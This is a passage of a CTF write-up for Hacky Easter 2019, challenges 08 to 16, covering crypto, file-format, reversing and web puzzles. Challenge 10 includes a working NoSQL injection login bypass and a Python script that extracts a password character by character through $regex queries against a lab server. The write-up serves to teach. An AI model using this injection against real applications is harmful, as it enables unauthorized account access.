This seems to be UTF-8, which can be outputed by using the option -e S with strings (-e = encoding, S = single-8-bit-byte characters):
root@kali:~/Documents/he19/egg08# strings -e S modernart.jpg
â–’â–’â–’â–’
â–’â–’oâ–’â–’â–’â–’
9â–’gâ–’`
|â–’â–’?â–’
iâ–’â–’ D
5â–’Oâ–’
...
ಅ▒-_P▒▒b▒
Pâ–’Å”,fXâ–’â–’â–’â–’
 â–„â–„â–„â–„â–„â–„â–„  â–„ â–„â–„ â–„â–„â–„â–„â–„â–„â–„
 █ ▄▄▄ █ ▄█▀█▄ █ ▄▄▄ █
 █ ███ █  ▀▄▀▄ █ ███ █
 █▄▄▄▄▄█ ▄ ▄ █ █▄▄▄▄▄█
 ▄▄▄ ▄▄▄▄██▄█▀▄▄   ▄
 ▄█▄▀▄▄▄█▀▄▀ ▄ ▀ ▄▀▀▀▄
 ▀█▄█ ▀▄█▀   ▄ █ ▄▀ ▄
 ▄▄▄▄▄▄▄ █▀▄█ █▄█ ▀▀
 █ ▄▄▄ █ ██▄█▀█▄█▀▀▄ █
 █ ███ █ ▄ ▀ ▄ ▀▀▄█▀▀▄
 █▄▄▄▄▄█ █▀█ ▄ █▀  █▀█

Another QR code! By simply taking a screenshot we can scan the new QR code:


root@kali:~/Documents/he19/egg08# zbarimg new_qrcode.png
QR-Code:AES-128
scanned 1 barcode symbols from 1 images in 0 seconds

The QR code decodes to AES-128. This suggests that we can decode the string we found using the key and the algorithm AES-128:
root@kali:~/Documents/he19/egg08# python
Python 2.7.15+ (default, Feb  3 2019, 13:13:16)
[GCC 8.2.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from Crypto.Cipher import AES
>>> cipher = AES.new('1857304593749584', AES.MODE_ECB)
>>> cipher.decrypt('E7EF085CEBFCE8ED93410ACF169B226A'.decode('hex'))
'Ju5t_An_1mag3\x03\x03\x03'

Entering the password Ju5t_An_1mag3 in the Eggo-o-Matic™ yields the egg:



The flag is he19-Ydks-4V9o-Hn6p-RZ1A.

09 – rorriM rorriM

The challenge provides a file called evihcra.piz:
root@kali:~/Documents/he19/egg09# file evihcra.piz
evihcra.piz: data

The file tool does not recognize any known file format. When viewing the file with hexdump, we can see that the file ends with \x04\x03KP, which is the reverse of PK\x03\x04 (= the magic number of a zip archive):
root@kali:~/Documents/he19/egg09# hexdump -C evihcra.piz
00000000  00 00 00 01 08 63 00 00  00 5b 00 01 00 01 00 00  |.....c...[......|
00000010  00 00 06 05 4b 50 01 d4  b2 23 98 dd 9f dd 01 d4  |....KP...#......|
...
000108c0  08 3c a3 18 78 dc 4e 36  43 29 00 08 00 00 00 14  |.<..x.N6C)......|
000108d0  04 03 4b 50                                       |..KP|
000108d4

Combining this with the challenge’s description (rorriM rorriM = reverse("Mirror Mirror")) suggests the assumption that the file must be read in reverse. Applying this on the filename too reveals that the actual filename is evihcra.piz = archive.zip, which perfectly makes sense.

The following python script reads the given file and creates a new file with a reversed filename, extension and actual content:
#!/usr/bin/env python
import sys

filename,ext = sys.argv[1].split('.')
ct = open(filename+'.'+ext).read()

out = open(filename[::-1]+'.'+ext[::-1], 'w')
out.write(ct[::-1])
out.close()

Running the script on evihcra.piz creates a new file called archive.zip, which is actually a zip archive:
root@kali:~/Documents/he19/egg09# ./mirror.py evihcra.piz
root@kali:~/Documents/he19/egg09# file archive.zip
archive.zip: Zip archive data, at least v2.0 to extract

The archive contains a file called 90gge.gnp:
root@kali:~/Documents/he19/egg09# unzip archive.zip
Archive:  archive.zip
  inflating: 90gge.gnp
e, 69031 bytes uncompressed, 67644 bytes compressed:  2.0%

Viewing this file with hexdump we can see that this seems actually to be a PNG image:

root@kali:~/Documents/he19/egg09# hexdump -C 90gge.gnp
00000000  89 47 4e 50 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.GNP........IHDR|
00000010  00 00 01 e0 00 00 01 e0  08 06 00 00 00 7d d4 be  |.............}..|
00000020  95 00 00 00 04 67 41 4d  41 00 00 b1 8f 0b fc 61  |.....gAMA......a|
...


The only thing that is not matching an actual PNG image here is that instead of PNG the header contains GNP. So let’s fix this is a hexeditor:



Now the file is actually a PNG image:



The only thing left to do is to flip the image (e.g. in GIMP: Image -> Transform -> Flip Horizontally) and to invert the colors (GIMP: Colors -> Invert). The resulting image is the desired egg:



The flag is he19-VFTD-kVos-DeL1-lATA.

10 – Stackunderflow

The challenge provides a link to a stackoverflow-like website:



The first notable information on the front page is that the database is being migrated to support humongous amounts of questions.

As for now the amount of questions seems to be quite limited:



Though, there is actually a question, which was asked by the_admin:



This may reveal that there is some kind of NoSQL database in place.

Also, there is another interesting question:



Keeping this in mind and googling for nosql injection bring up a few interesting websites: OWASP, OWASP, PayloadsAllTheThings

By default the login page makes a POST request with the Content-Type application/x-www-form-encoded:



In order to bypass the login, we have to change the Content-Type to application/json and set the body to be actually JSON. We already know the username the_admin and for the password we can simply insert an all-matching regex:



Using the returned session id (cookie connect.sid), we are logged in with the user the_admin:



On the website itself there is no flag after the login, which means that we are probably supposed to reveal the actual password of the user the_admin.

In order to do this, I wrote the following python script, which uses the $regex function to reveal the password letter by letter (like in a blind SQL scenario):
#!/usr/bin/env python

import requests

charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_'
url = 'http://whale.hacking-lab.com:3371/login'
pwd = ''

cont = True
while (cont):
  cont = False
  for c in charset:
    j = {"username":"null", "password":{"$regex": "^"+pwd+c}}
    r = requests.post(url, json=j, allow_redirects=False)
    if (r.text == 'Found. Redirecting to /'):
      print('got letter: ' +c)
      pwd += c
      print('pwd until now: '+pwd)
      cont = True

Running the script reveals the password:
root@kali:~/Documents/he19/egg10# ./getPassword.py
got letter: N
pwd until now: N
got letter: 0
pwd until now: N0
got letter: S
pwd until now: N0S
got letter: Q
pwd until now: N0SQ
got letter: L
pwd until now: N0SQL
got letter: _
pwd until now: N0SQL_
got letter: i
pwd until now: N0SQL_i
got letter: n
pwd until now: N0SQL_in
got letter: j
pwd until now: N0SQL_inj
got letter: e
pwd until now: N0SQL_inje
got letter: c
pwd until now: N0SQL_injec
got letter: t
pwd until now: N0SQL_inject
got letter: i
pwd until now: N0SQL_injecti
got letter: o
pwd until now: N0SQL_injectio
got letter: n
pwd until now: N0SQL_injection
got letter: s
pwd until now: N0SQL_injections
got letter: _
pwd until now: N0SQL_injections_
got letter: a
pwd until now: N0SQL_injections_a
got letter: r
pwd until now: N0SQL_injections_ar
got letter: e
pwd until now: N0SQL_injections_are
got letter: _
pwd until now: N0SQL_injections_are_
got letter: a
pwd until now: N0SQL_injections_are_a
got letter: _
pwd until now: N0SQL_injections_are_a_
got letter: t
pwd until now: N0SQL_injections_are_a_t
got letter: h
pwd until now: N0SQL_injections_are_a_th
got letter: i
pwd until now: N0SQL_injections_are_a_thi
got letter: n
pwd until now: N0SQL_injections_are_a_thin
got letter: g
pwd until now: N0SQL_injections_are_a_thing

Entering the password N0SQL_injections_are_a_thing in the Eggo-o-Matic™ yields the egg:



The flag is he19-nq5W-zLwY-iX3Q-iw1Q.

11 – Memeory 2.0

The challenge provides a link to the following website:



The pictures behind the cards are numbered from 1 to 98:



After selecting two cards a POST request to /solve is sent with the two parameters first and second:



If the cards are selected to slow, an error is raised and we have lost the game:



In order to solve this challenge automatically, we can write a python script, which:
  • downloads all images
  • calculates the md5 checksum of the images
  • compares the md5 checksums in order to find matching images
  • submits the id of the matching images to the /solve endpoint


The following script does this:

#!/usr/bin/env python

import requests
import hashlib

s = requests.Session()

while True:
  hashes = []
  s.get('http://whale.hacking-lab.com:1111/')

  for i in range(98):
    r = s.get('http://whale.hacking-lab.com:1111/pic/'+str(i+1))
    m = hashlib.sha256()
    m.update(r.content)
    hashes.append(m.hexdigest())

  submitted = []
  idx = -1
  while (len(submitted) < 98):
    idx += 1
    for i in range(98):
      if (idx == i): continue
      if (hashes[i] == hashes[idx]):
        if (i in submitted): continue
        d = {'first':str(i+1), 'second':str(idx+1)}
        print(d)
        r = s.post('http://whale.hacking-lab.com:1111/solve', data=d)
        print(r.text)
        submitted.append(i)
        submitted.append(idx)

Now we only need to run the script and wait until 10 rounds are passed:
root@kali:~/Documents/he19/egg11# ./solveMemory.py
{'second': '1', 'first': '56'}
ok
{'second': '2', 'first': '81'}
ok
{'second': '3', 'first': '38'}
ok
...
{'second': '82', 'first': '86'}
ok
{'second': '83', 'first': '98'}
ok
{'second': '84', 'first': '93'}
nextRound
{'second': '1', 'first': '88'}
ok
{'second': '2', 'first': '5'}
ok
{'second': '3', 'first': '43'}
ok
...
{'second': '55', 'first': '88'}
ok
{'second': '56', 'first': '77'}
ok
{'second': '60', 'first': '72'}
ok
{'second': '61', 'first': '92'}
ok
{'second': '65', 'first': '84'}
ok
{'second': '70', 'first': '73'}
ok
{'second': '76', 'first': '95'}
ok
{'second': '78', 'first': '91'}
ok
{'second': '85', 'first': '94'}
ok, here is your flag: 1-m3m3-4-d4y-k33p5-7h3-d0c70r-4w4y


Entering the password 1-m3m3-4-d4y-k33p5-7h3-d0c70r-4w4y in the Eggo-o-Matic™ yields the egg:



The flag is he19-jaQ9-0NIr-Ladc-brOT.

12 – Decrypt0r

The challenge provides a 64-bit ELF file called decryptor:
root@kali:~/Documents/he19/egg12# file decryptor
decryptor: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=1835d7dad4e2511aef2328a6fc9a2bb17f36f4e6, with debug_info, not stripped


By disassembling the main function within r2 we can see that the program prompts for a password and then reads up to 16 bytes from stdin:
[0x00400580]> pdf @ sym.main
            ;-- main:
/ (fcn) sym.main 86
|   sym.main ();
|           ; var int local_20h @ rbp-0x20
|           ; var int local_14h @ rbp-0x14
|           ; var int local_10h @ rbp-0x10
|           ; DATA XREF from entry0 (0x40059d)
|           0x00400835      55             push rbp
|           0x00400836      4889e5         mov rbp, rsp
|           0x00400839      4883ec20       sub rsp, 0x20
|           0x0040083d      897dec         mov dword [local_14h], edi
|           0x00400840      488975e0       mov qword [local_20h], rsi
|           0x00400844      bf14094000     mov edi, str.Enter_Password: ; 0x400914 ; "Enter Password: "
|           0x00400849      b800000000     mov eax, 0
|           0x0040084e      e8edfcffff     call sym.imp.printf
|           0x00400853      488b15560b20.  mov rdx, qword [obj.stdin__GLIBC_2.2.5] ; obj.__TMC_END ; [0x6013b0:8]=0
|           0x0040085a      488d45f0       lea rax, qword [local_10h]
|           0x0040085e      be10000000     mov esi, 0x10               ; 16
|           0x00400863      4889c7         mov rdi, rax
|           0x00400866      e805fdffff     call sym.imp.fgets
|           0x0040086b      488d45f0       lea rax, qword [local_10h]
|           0x0040086f      4889c7         mov rdi, rax
|           0x00400872      e8e0fdffff     call sym.hash_unsignedint
|           0x00400877      4889c7         mov rdi, rax
|           0x0040087a      b800000000     mov eax, 0
|           0x0040087f      e8bcfcffff     call sym.imp.printf
|           0x00400884      b800000000     mov eax, 0
|           0x00400889      c9             leave
\           0x0040088a      c3             ret

The entered password is passed to the function hash_unsignedint, which combines it with a static buffer called data:
[0x00400580]> pdf @ sym.hash_unsignedint
/ (fcn) sym.hash_unsignedint 478
|   sym.hash_unsignedint ();
|           ; var int local_58h @ rbp-0x58
|           ; var int local_48h @ rbp-0x48
|           ; var int local_44h @ rbp-0x44
|           ; var int local_40h @ rbp-0x40
|           ; var int local_3ch @ rbp-0x3c
|           ; var int local_38h @ rbp-0x38
|           ; var int local_34h @ rbp-0x34
|           ; var int local_30h @ rbp-0x30
|           ; var int local_28h @ rbp-0x28
|           ; var int local_20h @ rbp-0x20
|           ; var int local_14h @ rbp-0x14
|           ; var int local_10h @ rbp-0x10
|           ; var signed int local_8h @ rbp-0x8
|           ; var int local_4h @ rbp-0x4
|           ; CALL XREF from sym.main (0x400872)
|           0x00400657      55             push rbp
|           0x00400658      4889e5         mov rbp, rsp
|           0x0040065b      4883ec60       sub rsp, 0x60               ; '`'
|           0x0040065f      48897da8       mov qword [local_58h], rdi
|           0x00400663      bf4d030000     mov edi, 0x34d              ; 845
|           0x00400668      e8f3feffff     call sym.imp.malloc
|           0x0040066d      488945f0       mov qword [local_10h], rax
|           0x00400671      488b45a8       mov rax, qword [local_58h]
|           0x00400675      4889c7         mov rdi, rax
|           0x00400678      e8d3feffff     call sym.imp.strlen
|           0x0040067d      83e801         sub eax, 1
|           0x00400680      8945ec         mov dword [local_14h], eax
|           0x00400683      488b45f0       mov rax, qword [local_10h]
|           0x00400687      488945e0       mov qword [local_20h], rax
|           0x0040068b      488b45a8       mov rax, qword [local_58h]
|           0x0040068f      488945d8       mov qword [local_28h], rax
|           0x00400693      48c745d06010.  mov qword [local_30h], obj.data ; 0x601060 ; "0U\x1e3\x18\x1dTb<\x01Z\t\x16\x19D\x01\x7f\x0e^\x01H9\x01A"
|           0x0040069b      c745fc000000.  mov dword [local_4h], 0
...

After trying different inputs and inspected the output of the program, I assumed that this might be a simple XOR. In order to further analyze the encrypted data with xortool, we have to extract it first.
[0x00400580]> is~data
054 ---------- 0x006013ad GLOBAL NOTYPE    0 _edata
055 0x00001040 0x00601040   WEAK NOTYPE    0 data_start
067 0x00001040 0x00601040 GLOBAL NOTYPE    0 __data_start
073 0x00001060 0x00601060 GLOBAL    OBJ  845 data


The encrypted data is stored at 0x00001060 within the file and is seized 845 byte. Knowing this we can simply use dd to extract it:
root@kali:~/Documents/he19/egg12# dd if=decryptor bs=1 skip=$(rax2 0x1060) count=845 of=buff
845+0 records in
845+0 records out
845 bytes copied, 0.0261717 s, 32.3 kB/s


Now we can run xortool on the encrypted data:
root@kali:~/Documents/he19/egg12# xortool buff
The most probable key lengths:
   1:   10.1%
   4:   10.6%
   7:   9.5%
  10:   9.3%
  13:   22.9%
  20:   6.3%
  26:   12.6%
  30:   4.4%
  39:   9.0%
  52:   5.3%
Key-length can be 3*n
Key-length can be 5*n
Most possible char is needed to guess the key!

The most probable key length is 13. So let’s run a bruteforce on printable solution (-o) with this key length (-l 13):
root@kali:~/Documents/he19/egg12# xortool -l 13 -o buff
200 possible key(s) of length 13:
! b\x0eg!dxO~$~;
! b\x0eg!dxO~$~t
 !c\x0ff eyN\x7f%\x7f:
 !c\x0ff eyN\x7f%\x7fu
#"`\x0ce#fzM|&|9
...
Found 55 plaintexts with 95.0%+ valid characters
See files filename-key.csv, filename-char_used-perc_valid.csv

The results are stored in ./xortool_out/. The output should contain the string he19-:
root@kali:~/Documents/he19/egg12# grep 'he19-' xortool_out/*
Binary file xortool_out/188.out matches
Binary file xortool_out/189.out matches

There are two outputs, which contain this string. The file ./xortool_out/filename-key.csv contains the information, which keys were used to produce this output:
root@kali:~/Documents/he19/egg12# cat xortool_out/filename-key.csv | grep '188\|189'
xortool_out/188.out;10r\x1ew1th_n4n+
xortool_out/189.out;10r\x1ew1th_n4nd

The second one looks almost reasonable. Though, there is one non ASCII character (\x1e). Because it is right in front of the word w1th, it is probably an underscore, which would make the key:

10r_w1th_n4nd

If we now simply replace the first letter (1) with an x, the key makes sense:

x0r_w1th_n4nd

Entering this key as the password successfully decrypts the cipher text:
root@kali:~/Documents/he19/egg12# echo "x0r_w1th_n4nd" | ./decryptor
Enter Password: Hello,
congrats you found the hidden flag: he19-Ehvs-yuyJ-3dyS-bN8U.

'The XOR operator is extremely common as a component in more complex ciphers. By itself, using a constant repeating key, a simple XOR cipher can trivially be broken using frequency analysis. If the content of any message can be guessed or otherwise known then the key can be revealed.'
(https://en.wikipedia.org/wiki/XOR_cipher)

'An XOR gate circuit can be made from four NAND gates. In fact, both NAND and NOR gates are so-called "universal gates" and any logical function can be constructed from either NAND logic or NOR logic alone. If the four NAND gates are replaced by NOR gates, this results in an XNOR gate, which can be converted to an XOR gate by inverting the output or one of the inputs (e.g. with a fifth NOR gate).'
(https://en.wikipedia.org/wiki/XOR_gate)

The flag is he19-Ehvs-yuyJ-3dyS-bN8U.

13 – Symphony in HEX

The challenge provides the following sheet of music as well as the hint count quavers, read semibreves:



The hint was very useful. We simply have to count the notes within a quaver and read the semibreves:



This results in the hex stream 4841434b5f4d455f414d4144455553, which can be converted to the following ASCII characters:
root@kali:~/Documents/he19/egg13# python
Python 2.7.16 (default, Apr  6 2019, 01:42:57)
[GCC 8.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> hexstream = '4841434b5f4d455f414d4144455553'
>>> hexstream.decode('hex')
'HACK_ME_AMADEUS'


Entering HACK_ME_AMADEUS as the password in the Eggo-o-Matic™ yields the egg:



The flag is he19-7fEm-jj7g-gpt3-4Mdh.

14 – White Box

The challenge provides the following cipher text:

9771a6a9aea773a93edc1b9e82b745030b770f8f992d0e45d7404f1d6533f9df348dbccd71034aff88afd188007df4a5c844969584b5ffd6ed2eb92aa419914e

… as well as a binary, which was used to produce the cipher text:
root@kali:~/Documents/he19/egg14# file WhiteBox
WhiteBox: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=0077413b3a5ad4d245339f092e46d64e547155f0, stripped
root@kali:~/Documents/he19/egg14# ./WhiteBox
WhiteBox Test
Enter Message to encrypt: test
691157323aae599f38afe55d7282a068

Being euphoric that this is a binary challenge I did not pay much attention to the name of it and started to reverse the binary right away. While reversing it, I figured out that this is a white-box cryptography challenge and there are several good resources online about unboxing white-boxes (e.g. blackhat.com, LiveOverflow on YouTube, …). There is also a GitHub repository providing various public white-box cryptographic implementations and their practical attacks: SideChannelMarvels/Deadpool.

Nevertheless I kept analyzing the binary and was confident, that it is possible to reverse the single steps made in order to encrypt the entered plain text.

For this purpose I mainly used ghidra:



Actually all steps but one could be reverted easily. This single remaining step XORed a value called result with values from static data four times in a loop (I named the function encrStack, but this was only my personal way to differentiate the functions):



A single byte from the plain text (at this stage) is used as an index into the static data and thus determines which value from the static data is used. So basically the following operation is carried out:

ciphertext_val = static_data[plaintext_byte0] ^ static_data[plaintext_byte1] ^ static_data[plaintext_byte2] ^ static_data[plaintext_byte3]

When reverting this, we know the value of ciphertext_val. Since we have access to the whole binary, we also know the values of the static_data. In order to deduce plaintext_byte0plaintext_byte3, we can loop through all possible values for the four bytes and compare the XORed result. My first apprehension was that there might be more possible combination to produce a valid result, but it turned out, that there only seems to be a unique valid combination (possibly this is an inherent property of these values of an AES white-box, but I did not dig deeper into this topic).

After all I wrote the following python script, which decrypts 16 byte at a time:
#!/usr/bin/env python

import sys
import struct

binary = open('WhiteBox', 'r').read()

def decrShuffleNewOrig(r):
  ret = [None]*16
  for i in range(4):
    for j in range(4):
      ret[i*4+j] = r[i+j*4]
  return ''.join(ret)

def decrChooseFromDAT(r):
  ret = ''
  for i in range(16):
    findByte = r[i]
    for j in range(0x100):
      if (binary[0x2060+i*0x100+j] == findByte):
        ret += chr(j)
        break
  return ret

def decrShuffleBlocks(r):
  ret = [None]*16
  ret[0xf] = r[0xc]; ret[0xe] = r[0xf]
  ret[0xd] = r[0xe]; ret[0xc] = r[0xd]; ret[0xb] = r[9]; ret[0xa] = r[8]
  ret[9] = r[0xb]; ret[8] = r[10]; ret[7] = r[6]; ret[6] = r[5]; ret[5] = r[4]
  ret[4] = r[7]; ret[3] = r[3]; ret[2] = r[2]; ret[1] = r[1]; ret[0] = r[0]
  return ''.join(ret)

def findXorValues(x,i,v):
  # eg. 0x19a08d51 = 0xdb273160 ^ 0x9e2d7eaf ^ 0xf7c0787 ^ 0x53d6c519
  vals1 = [];  vals2 = []; vals3 = []; vals4 = []
  for v1 in range(256): vals1.append(struct.unpack('<I', binary[0x3060+(v1+(i+(x*4+0)*4)*0x100)*4:0x3060+(v1+(i+(x*4+0)*4)*0x100)*4+4])[0])
  for v2 in range(256): vals2.append(struct.unpack('<I', binary[0x3060+(v2+(i+(x*4+1)*4)*0x100)*4:0x3060+(v2+(i+(x*4+1)*4)*0x100)*4+4])[0])
  for v3 in range(256): vals3.append(struct.unpack('<I', binary[0x3060+(v3+(i+(x*4+2)*4)*0x100)*4:0x3060+(v3+(i+(x*4+2)*4)*0x100)*4+4])[0])
  for v4 in range(256): vals4.append(struct.unpack('<I', binary[0x3060+(v4+(i+(x*4+3)*4)*0x100)*4:0x3060+(v4+(i+(x*4+3)*4)*0x100)*4+4])[0])

  for v1 in range(len(vals1)):
    for v2 in range(len(vals2)):
      for v3 in range(len(vals3)):
        for v4 in range(len(vals4)):
          if (vals1[v1]^vals2[v2]^vals3[v3]^vals4[v4] == v):
            return chr(v1)+chr(v2)+chr(v3)+chr(v4)
  raise Exception('did not find solution')


def decrStack(x,r):
  v1 = findXorValues(x,0,struct.unpack('<I', r[0]+r[4]+r[8]+r[0xc])[0])
  v2 = findXorValues(x,1,struct.unpack('<I', r[1]+r[5]+r[9]+r[0xd])[0])
  v3 = findXorValues(x,2,struct.unpack('<I', r[2]+r[6]+r[0xa]+r[0xe])[0])
  v4 = findXorValues(x,3,struct.unpack('<I', r[3]+r[7]+r[0xb]+r[0xf])[0])
  final = ''
  for i in range(4): final += v1[i]+v2[i]+v3[i]+v4[i]
  return final


def decrIdxShuffle(r):
  return r[0]+r[4]+r[8]+r[0xc]+r[1]+r[5]+r[9]+r[0xd]+r[2]+r[6]+r[0xa]+r[0xe]+r[3]+r[7]+r[0xb]+r[0xf]

def decrypt(r):
  r1 = decrShuffleNewOrig(r)
  r2 = decrChooseFromDAT(r1)
  r3 = decrShuffleBlocks(r2)
  r4 = r3
  for x in range(8, -1, -1):
    r4 = decrStack(x,r4)
    r4 = decrShuffleBlocks(r4)
  r5 = decrIdxShuffle(r4)
  return r5

if (len(sys.argv) < 2):
  print('usage:')
  print(sys.argv[0] + ' <16 byte cipher text>')
  quit()

plaintext = decrypt(sys.argv[1].decode('hex'))
print(plaintext)

Running the script on each of the 16 bytes of the provided cipher text, reveals the full plain text (it takes a few minutes for the script to be finished):
root@kali:~/Documents/he19/egg14# ./reversedWhitebox.py 9771a6a9aea773a93edc1b9e82b74503
Congrats! Enter 
root@kali:~/Documents/he19/egg14# ./reversedWhitebox.py 0b770f8f992d0e45d7404f1d6533f9df
whiteboxblackhat
root@kali:~/Documents/he19/egg14# ./reversedWhitebox.py 348dbccd71034aff88afd188007df4a5
 into the Egg-o-
root@kali:~/Documents/he19/egg14# ./reversedWhitebox.py c844969584b5ffd6ed2eb92aa419914e
Matic!

Accordingly the full plain text is Congrats! Enter whiteboxblackhat into the Egg-o-Matic!.

Entering the password whiteboxblackhat in the Eggo-o-Matic™ yields the egg:



The flag is he19-fPHI-HUKJ-u15q-Lvwz.

15 – Seen in Steem

The challenge description states that a secret note about Hacky Easter 2019 has been placed in the Steem blockchain.

We also get the information, that the note was added during Easter 2018.

This task could simply solved using google. Since the author of the challenge is darkstar, I started to googling for darkstar and steem and found the following profile on steemit.com:



Though, I could not find any useful information on this website. Thus I kept googling and found a list of entries on steemd.com related to darkstar-42. Since we know that the note was added during Easter 2018, which was the 1th of april, we only need to find the appropriate date:



Entering nomoneynobunny as the password in the Eggo-o-Matic™ yields the egg:



The flag is he19-TlUu-qs4k-uEbS-xRob.

16 – Every-Thing

The challenge provides a zip archive called EverThing.zip:
root@kali:~/Documents/he19/egg16# file EveryThing.zip
EveryThing.zip: Zip archive data, at least v2.0 to extract

This archive contains a file called EverThing.sql:
root@kali:~/Documents/he19/egg16# unzip EveryThing.zip
Archive:  EveryThing.zip
  inflating: EveryThing.sql

In order to view the SQL file, we can load it into a new database created locally:
root@kali:~/Documents/he19/egg16# service mysql start
root@kali:~/Documents/he19/egg16# mysql
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 38
Server version: 10.3.12-MariaDB-2 Debian buildd-unstable

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> CREATE DATABASE EveryThing;
Query OK, 1 row affected (0.000 sec)

MariaDB [(none)]> USE EveryThing;
Database changed
MariaDB [EveryThing]> SOURCE EveryThing.sql;
Query OK, 0 rows affected (0.000 sec)

Query OK, 0 rows affected (0.000 sec)

Query OK, 0 rows affected (0.000 sec)

Query OK, 0 rows affected (0.000 sec)

Query OK, 0 rows affected (0.000 sec)

Query OK, 0 rows affected (0.000 sec)

Query OK, 0 rows affected (0.000 sec)

Query OK, 0 rows affected (0.000 sec)

Query OK, 0 rows affected (0.000 sec)

Query OK, 0 rows affected (0.000 sec)

Query OK, 0 rows affected (0.000 sec)

Query OK, 0 rows affected (0.000 sec)

Query OK, 0 rows affected (0.000 sec)

Query OK, 0 rows affected (0.008 sec)

Query OK, 0 rows affected (0.000 sec)

Query OK, 0 rows affected (0.000 sec)

Query OK, 0 rows affected (0.000 sec)

Query OK, 8504 rows affected (0.165 sec)
Records: 8504  Duplicates: 0  Warnings: 0

Query OK, 8639 rows affected (0.144 sec)
Records: 8639  Duplicates: 0  Warnings: 0

Query OK, 8608 rows affected (0.123 sec)
Records: 8608  Duplicates: 0  Warnings: 0
...

The file contains only one table called Thing:
MariaDB [EveryThing]> SHOW TABLES;
+----------------------+
| Tables_in_EveryThing |
+----------------------+
| Thing                |
+----------------------+
1 row in set (0.000 sec)


This table has five columns called id, ord, type, value and pid.
MariaDB [EveryThing]> DESCRIBE Thing;
+-------+---------------+------+-----+---------+-------+
| Field | Type          | Null | Key | Default | Extra |
+-------+---------------+------+-----+---------+-------+
| id    | binary(16)    | NO   | PRI | NULL    |       |
| ord   | int(11)       | NO   |     | NULL    |       |
| type  | varchar(255)  | NO   |     | NULL    |       |
| value | varchar(1024) | YES  |     | NULL    |       |
| pid   | binary(16)    | YES  | MUL | NULL    |       |
+-------+---------------+------+-----+---------+-------+
5 rows in set (0.001 sec)


There are 38 different types:
MariaDB [EveryThing]> SELECT type FROM Thing GROUP BY type;
+-----------------------+
| type                  |
+-----------------------+
| address               |
| address.about         |
| address.address       |
| address.age           |
| address.company       |
| address.email         |
| address.eyeColor      |
| address.favoriteFruit |
| address.gender        |
| address.greeting      |
| address.guid          |
| address.name          |
| address.phone         |
| address.picture       |
| address.registered    |
| addressbook           |
| book                  |
| book.author           |
| book.isbn             |
| book.language         |
| book.title            |
| book.url              |
| book.year             |
| bookshelf             |
| galery                |
| png                   |
| png.bkgd              |
| png.chrm              |
| png.gama              |
| png.head              |
| png.idat              |
| png.iend              |
| png.ihdr              |
| png.phys              |
| png.text              |
| png.time              |
| ROOT                  |
| shelf                 |
+-----------------------+
38 rows in set (0.215 sec)

The value fields of the different types do not seem to contain any useful information:
MariaDB [EveryThing]> SELECT value FROM Thing WHERE type='address.name' LIMIT 10;
+--------------------+
| value              |
+--------------------+
| Madge Wood         |
| Guadalupe Eaton    |
| England Carson     |
| Carmen Larsen      |
| Potts Castro       |
| Esther Greer       |
| Hall Newton        |
| Wilkerson Callahan |
| Crosby Manning     |
| Sallie Wilson      |
+--------------------+
10 rows in set (0.000 sec)

...

The most promising type seems to be png. There are 11 entries with this type:
MariaDB [EveryThing]> SELECT value FROM Thing WHERE type='png';
+---------------------------------+
| value                           |
+---------------------------------+
| Very old steam boat             |
| Fantastic trail, but a dead end |
| The best dinner ever            |
| Local market                    |
| At the beach                    |
| Me, walking through the wood    |
| The mountains                   |
| A strange car                   |
| Nice sunset                     |
| My first time on a SUP          |
| My second time on a SUP         |
+---------------------------------+
11 rows in set (0.101 sec)

A png entry itself does only seem to be the container for an image. The actual data is stored in the corresponding chunk types like png.bkgd, png.chrm, …

In order to determine which chunk types belong to a png, the field pid is used, which references the id of the parent element. In this case the pid of chunk types contain an id of a png entry.

The id is stored in binary and can be displayed using the function HEX:
MariaDB [EveryThing]> SELECT HEX(id), value FROM Thing WHERE type='png';
+----------------------------------+---------------------------------+
| HEX(id)                          | value                           |
+----------------------------------+---------------------------------+
| 1BD4209D9C664967AA7944E2ED2FC96C | Very old steam boat             |
| 35FD7ABC15274E38A513F990D153FC37 | Fantastic trail, but a dead end |
| 42097903161D41839D5D189B93E580D7 | The best dinner ever            |
| 4651124A8B2F4CDFB7B3CBCA94BB7AF2 | Local market                    |
| 55431A5914314EEF97CF9C31E07A95F4 | At the beach                    |
| 58A8E910ED9C4FB3B8083FDFBCE99628 | Me, walking through the wood    |
| 5BFE2BB8621B46119C7A281960904174 | The mountains                   |
| 80DCB19D74354660AFDADD761B3DF72E | A strange car                   |
| D39D3AD6FA85453196E46CD30FCD5612 | Nice sunset                     |
| F91FD59C966641B2BB05F2374C6C8199 | My first time on a SUP          |
| FC7ED04E5E464D3DBF210ED60561AE60 | My second time on a SUP         |
+----------------------------------+---------------------------------+
11 rows in set (0.000 sec)

In order to display all child chunks for the image called Very old steam boat, we can use the id (1BD4209D9C664967AA7944E2ED2FC96C):
MariaDB [EveryThing]> SELECT HEX(id), ord, type, value FROM Thing WHERE HEX(pid)='1BD4209D9C664967AA7944E2ED2FC96C' ORDER BY ord;
+----------------------------------+-----+----------+--------------------------------------+
| HEX(id)                          | ord | type     | value                                |
+----------------------------------+-----+----------+--------------------------------------+
| 0E30644AB47D4E51BA2C47CBD5F02691 |   0 | png.head | iVBORw0KGgo=                         |
| BABEFABC2E4F406ABC991762A077FED7 |   1 | png.ihdr | AAAADUlIRFIAAAHgAAAB4AgGAAAAfdS+lQ== |
| A4F0850D832B417C906D6F595C3765E8 |   2 | png.bkgd | AAAABmJLR0QA/wD/AP+gvaeT             |
| 0069956AF2EE42DEBE60E93670CFC5CB |   3 | png.phys | AAAACXBIWXMAADRjAAA0YwFVm585         |
| 4C4D6C0D26924DAD91FE89D3A1070541 |   4 | png.time | AAAAB3RJTUUH4wEaDycfAlGlag==         |
